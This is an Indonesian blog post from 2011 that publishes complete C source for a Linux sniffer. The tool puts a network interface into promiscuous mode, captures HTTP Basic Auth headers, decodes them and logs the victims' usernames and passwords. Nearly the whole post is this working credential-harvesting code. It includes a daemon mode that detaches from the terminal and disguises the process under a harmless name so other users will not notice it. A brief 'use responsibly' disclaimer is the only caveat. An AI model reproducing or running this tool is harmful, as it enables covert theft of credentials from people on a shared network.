A Linux sniffer

Written By pcbolong on Wednesday, July 20, 2011 | 4:53 AM

A Linux sniffer that is designed to retrieve web usernames and passwords.
This program sniffs packets destined for webservers and scans for headers with Basic Auth. then automatically decodes the auth. string giving a username/passwd in cleartext. BUGS: In the verbose mode,source/destination headers get out of sync with data. In daemon mode, source/dest. headers may not be reliable. DISCLAIMER: Please use this program in a responsible manner.

Fiuhh....bisa juga bahasa inggriss :D langsung saja, ini code nya. pakai bahasa c.

hilangkan tanda kurung () -nya.saya kasih krn di blogspot g bisa muncul.


#include (<)stdio.h(>)
#include (<)stdlib.h(>)
#include (<)stdarg.h(>)
#include (<)sys/socket.h(>)
#include (<)sys/time.h(>)
#include (<)sys/types.h(>)
#include (<)unistd.h(>)
#include (<)sys/stat.h(>)
#include (<)fcntl.h(>)
#include (<)netinet/in.h(>)
#include (<)netdb.h(>)
#include (<)string.h(>)
#include (<)linux/if.h(>)
#include (<)signal.h(>)
#include (<)termio.h(>)
#include (<)arpa/inet.h(>)
#include (<)linux/socket.h(>)
#include (<)linux/ip.h(>)
#include (<)linux/tcp.h(>)
#include (<)linux/if_ether.h(>)
#include (<)errno.h(>)

extern int errno;

#define DEFAULT_WEB_PORT 80
#define CAPTURE_LENGTH 1024
#define TIMEOUT 30
#define INTERFACE "eth0"
#define ISBLANK(x) (((x) == ' ') || ((x) == '\t'))
#define SPACELEFT(buf, ptr) (sizeof buf - ((ptr) - buf))
#define newstr(s) strcpy(malloc(strlen(s) + 1), s)

struct BASE64_PARAMS {
unsigned long int accum;
int shift;
int save_shift;
};

struct etherpacket {
struct ethhdr ether_header;
struct iphdr ip_header;
struct tcphdr tcp_header;
char buff[8192];
} ether_packet;

struct
{
unsigned long source_addr;
unsigned long dest_addr;
unsigned short source_port;
unsigned short dest_port;
int bytes_read;
char active;
time_t start_time;
char tmp_realm[1024];
char tmp_host[512];
} target;

struct iphdr *ip;
struct tcphdr *tcp;

char **Argv = NULL;
char *LastArgv = NULL;

short daemon_mode;
short verbose_mode;
unsigned short user_port;
FILE *daemon_fd=NULL;
int sock;

/* fungsi deklarasi */
char *lookup(unsigned long int);
char *dateTime();

/* implementasi signal*/
void (*
r_signal(sig, func)) (int)
int sig;
void (*func) ();
{
struct sigaction act, oact;

act.sa_handler = func;

sigemptyset(&act.sa_mask);
act.sa_flags = 0;

#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif

if (sigaction(sig, &act, &oact) < 0)
return (SIG_ERR);

return (oact.sa_handler);
}

/* fungsi ini mengambil proses apa saja yang jalan di terminal yang di remote*/
void detach()
{
int rc, fd;

if ((rc = fork()) > 0)
exit(0);
else if (rc <0) {
perror("detach");
exit(EXIT_FAILURE);
}

if ((fd = open("/dev/tty", O_RDWR,0)) == -1 ) {
printf("couldn't open tty, assuming still okay...\n");
fflush((FILE *)stdout);
return;
}

ioctl(fd, TIOCNOTTY, 0);

close(fd);


setsid();
}

setproctitle(const char *fmt, ...)
{
register char *p;
register int i;
char buf[2048];
va_list args;

p = buf;

va_start(args, fmt);
(void) vsnprintf(p, SPACELEFT(buf, p), fmt, args);
va_end(args);

i = strlen(buf);

if (i > LastArgv - Argv[0] - 2)
{
i = LastArgv - Argv[0] - 2;
buf[i] = '\0';
}
(void) strcpy(Argv[0], buf);
p = &Argv[0][i];
while (p < LastArgv)
*p++ = ' ';
Argv[1] = NULL;
}

void initsetproctitle(int argc, char **argv, char **envp)
{
register int i;
extern char **environ;

for (i = 0; envp[i] != NULL; i++)
continue;
environ = (char **) malloc(sizeof (char *) * (i + 1));
for (i = 0; envp[i] != NULL; i++)
environ[i] = newstr(envp[i]);
environ[i] = NULL;

Argv = argv;
if (i > 0)
LastArgv = envp[i - 1] + strlen(envp[i - 1]);
else
LastArgv = argv[argc - 1] + strlen(argv[argc - 1]);
}

/* konversi base64 ascci ke dalam mode integer */
int cvt_ascii( unsigned char alpha )
{
if ( (alpha >= 'A') && (alpha <= 'Z') ) return (int)(alpha - 'A');
else if ( (alpha >= 'a') && (alpha <= 'z') )
return 26 + (int)(alpha - 'a');
else if ( (alpha >= '0') && (alpha <= '9' ) )
return 52 + (int)(alpha - '0');
else if ( alpha == '+' ) return 62;
else if ( alpha == '/' ) return 63;
else if ( alpha == '=' ) return -2;
else return -1;
}

/* decoding base64 */
void base64_decode(char *buf,int quit,struct BASE64_PARAMS *d,char *auth_buf)
{
int index;
unsigned long int value;
unsigned char blivit;
unsigned short j=0;

index = 0;
*(auth_buf+0)='\0';

while ( ISBLANK(buf[index] ) )
{
index++;
}

for ( index = 0;
(buf[index] != '\n') &&
(buf[index] != '\0') &&
(buf[index] != ' ' );
index++)
{

if (index==(264-5)) return;

value = cvt_ascii( buf[index] );

if ( value < 64 )
{
d->accum <<= 6;
d->shift += 6;
d->accum |= value;
if ( d->shift >= 8 )
{
d->shift -= 8;
value = d->accum >> d->shift;
blivit = (unsigned char)value & 0xFFl;
*(auth_buf+j) = (char )blivit;
j++;
}

}
else
{
quit = 1;
break;
}
}

*(auth_buf+j)='\0';
return;
}


void decode(char *b64_string, char *user_buff)
{

struct BASE64_PARAMS d_p;
int quit=0;

d_p.shift = 0;
d_p.accum = 0;

base64_decode((char *)b64_string, quit, &d_p, user_buff);

return;
}


void parse_segment(char *data)
{
short i,j=0;
char foo[256];
char user[128];
char pass[128];

if ((!strncmp(data,"GET ",4))||(!strncmp(data,"POST ",5))||(!strncmp(data,"HEAD ",5)))
strncpy(target.tmp_realm,data,strlen(data));


if (!strncasecmp(data,"Authorization: Basic",20)) {
if (strlen(data+21)>sizeof(foo))
*(data+21+sizeof(foo-1))='\0';
decode(data+21,foo);
for (i=0;foo[i];i++) {
if (foo[i]==':')
break;
user[i]=foo[i];
}
user[i]='\0';
for (++i; foo[i]; i++) {
pass[j]=foo[i];
j++;
}
pass[j]='\0';
if (daemon_mode) {
fprintf(daemon_fd,"\n####### [%s]\n",dateTime());
fprintf(daemon_fd,"%s",target.tmp_host);
fprintf(daemon_fd,"REALM REQUESTED: %s\n", target.tmp_realm);
fprintf(daemon_fd,"---[ USER = %s PASS = %s ]---\n",user,pass);
fprintf(daemon_fd,"#######\n\n");
fflush(daemon_fd);
} else {
printf("\n----------[ USER = %s PASS = %s ]----------\n",user,pass);
fflush(stdout);
}
}

return;

}


int scan_data(int datalen, char *data)
{
int i=0, t=0;
char data_buff[CAPTURE_LENGTH];

target.bytes_read=target.bytes_read+datalen;
memset(target.tmp_realm,'\0',sizeof(target.tmp_realm));
sprintf(target.tmp_host,"[%s] [%d] => ",lookup(target.source_addr),ntohs(target.source_port));
sprintf(data_buff,"[%s] [%d]\n",lookup(target.dest_addr),ntohs(target.dest_port));
strcat(target.tmp_host,data_buff);

data_buff[0]='\0';

for(i=0;i != datalen;i++)
{
if(data[i] == 13)
{
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
t=0;
}
if(isprint(data[i]))
{
data_buff[t]=data[i];
t++;
}
if(t > 255)
{
t=0;
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
}

}

}


void seg_fault (int sig)
{
fprintf(stderr, "\n");
fprintf(stderr, "Segmentation Violation!\n");
fprintf(stderr, "\n");
fprintf(stderr, "Congratulations! You have crashed my program.\n");
fprintf(stderr, "describing *exactly* what you did to make this\n");
fprintf(stderr, "program crash. Thanks and have a nice day ^^ \n");
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}


char *lookup(unsigned long int network_address)
{
static char buf[1024];
struct in_addr my_addr;
struct hostent *he;

my_addr.s_addr=network_address;
he=gethostbyaddr((char *)&my_addr,sizeof(struct in_addr),AF_INET);
if (he==NULL)
sprintf(buf,inet_ntoa(my_addr));
else
sprintf(buf,he->h_name);
return (buf);
}


char * dateTime()
{
time_t t;
char * s;

time(&t);
s = (char *)ctime((const time_t *)&t);
s[24] = '\0';
return s;
}

void bye(int sig)
{

if (daemon_mode) {
fprintf(daemon_fd, "\n*** Daemon Mode Ending at [%s] ***\n",dateTime());
fclose(daemon_fd);
}

close(sock);
exit(0);
}


int packet_filter ()
{
unsigned short port;

if (ip->protocol !=6) return (0);
if (target.active !=0)
if (target.bytes_read > CAPTURE_LENGTH)
{
bzero(&target, sizeof(target));
return(0);
}

if (user_port!=0)
port=user_port;
else
port=DEFAULT_WEB_PORT;

if (ntohs(tcp->dest)!=port)
return(0);
else
{
if (tcp->syn==1)
{
target.source_addr=ip->saddr;
target.dest_addr=ip->daddr;
target.active=1;
target.source_port=tcp->source;
target.dest_port=tcp->dest;
target.bytes_read=0;
target.start_time=time(NULL);
if (verbose_mode) {
printf("[%s] [%d] => ",lookup(target.source_addr),
ntohs(target.source_port));
printf("[%s] [%d]\n", lookup(target.dest_addr),
ntohs(target.dest_port));
fflush(stdout);
}

}
}

return(1);
}


void print_usage (char *prog_name)
{
printf("\n");
printf("### Web Sniffer ###\n");
printf("\n");
printf("Usage:\n");
printf("\n");
printf("%s [-d|-v] [-p ]\n", prog_name);
printf("\n");
printf("-d : run as a daemon and print output to logfile.\n");
printf("-v : run in foreground and print output to stdout.\n");
printf("-p : optionally specifies port number to sniff on.\n");
printf("\n");
}


int main ( argc, argv, envp )
unsigned int argc;
char **argv;
char **envp;
{
int i, x, c;
extern int optind;
extern char *optarg;
struct ifreq req;
short argsLeft=0;
short errFlag=0;
char *port_ptr=NULL;
char title[1024];

r_signal(SIGSEGV, seg_fault);
r_signal(SIGTERM, bye);
r_signal(SIGQUIT, bye);
r_signal(SIGHUP, bye);

if (getuid() && geteuid()) {
fprintf(stderr, "\nYou need to be root in order to run this.\n\n");
exit(EXIT_FAILURE);
}

memset(title,'\0',sizeof(title));

verbose_mode=0;
daemon_mode=0;
user_port=0;

while((c=getopt(argc,argv,"dvp:"))!= EOF)
switch(c) {
case 'd':
if (verbose_mode)
errFlag++;
else
daemon_mode=1;
break;
case 'v':
if (daemon_mode)
errFlag++;
else
verbose_mode=1;
break;
case 'p':
port_ptr=optarg;
user_port=atoi(port_ptr);
break;
case '?':
errFlag++;
}

argsLeft=argc-optind;

if ((!daemon_mode && !verbose_mode)||errFlag||argsLeft) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}

if (daemon_mode) {
printf("\n");
printf("*** Daemon Mode ***\n");
printf("Enter in the full path to the logfile\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
if ((daemon_fd=fopen(title,"a+"))==NULL) {
fprintf(stderr, "Could not open logfile: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("Enter in a process title to masquerade as so\n");
printf("it won't be quite so obvious to other users what\n");
printf("we are really doing (i.e: bash, ftp, in.telnetd, vi ...)\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
printf("Setting process title to: %s\n", title);
initsetproctitle(argc, argv, envp);
setproctitle("%s", title);
printf("Daemon Mode Started.\n");
detach();
fprintf(daemon_fd, "\n*** Daemon Mode Started at [%s] ***\n",dateTime());
fflush(daemon_fd);
}

sock=socket(AF_INET, SOCK_PACKET, htons(0x800));
if (sock <0) {
perror("can't get SOCK_PACKET socket");
exit(1);
}

strcpy(req.ifr_name, INTERFACE);

if ((i=ioctl(sock, SIOCGIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot get flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
req.ifr_flags |= IFF_PROMISC;
if ((i=ioctl(sock, SIOCSIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot set flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

ip=(struct iphdr *)(((unsigned long)ðer_packet.ip_header)-2);
tcp=(struct tcphdr *)(((unsigned long)ðer_packet.tcp_header)-2);

bzero(&target, sizeof(target));

for (;;) {
while(1) {
x=read(sock,ðer_packet,sizeof(ether_packet));
if (x > 1)
{
if (packet_filter()==0) continue;
x=x-54;
if (x<1) continue;
break;
}
}

scan_data(htons(ip->tot_len)-sizeof(ether_packet.ip_header)-
sizeof(ether_packet.tcp_header),ether_packet.buff-2);

}

}

0 comments: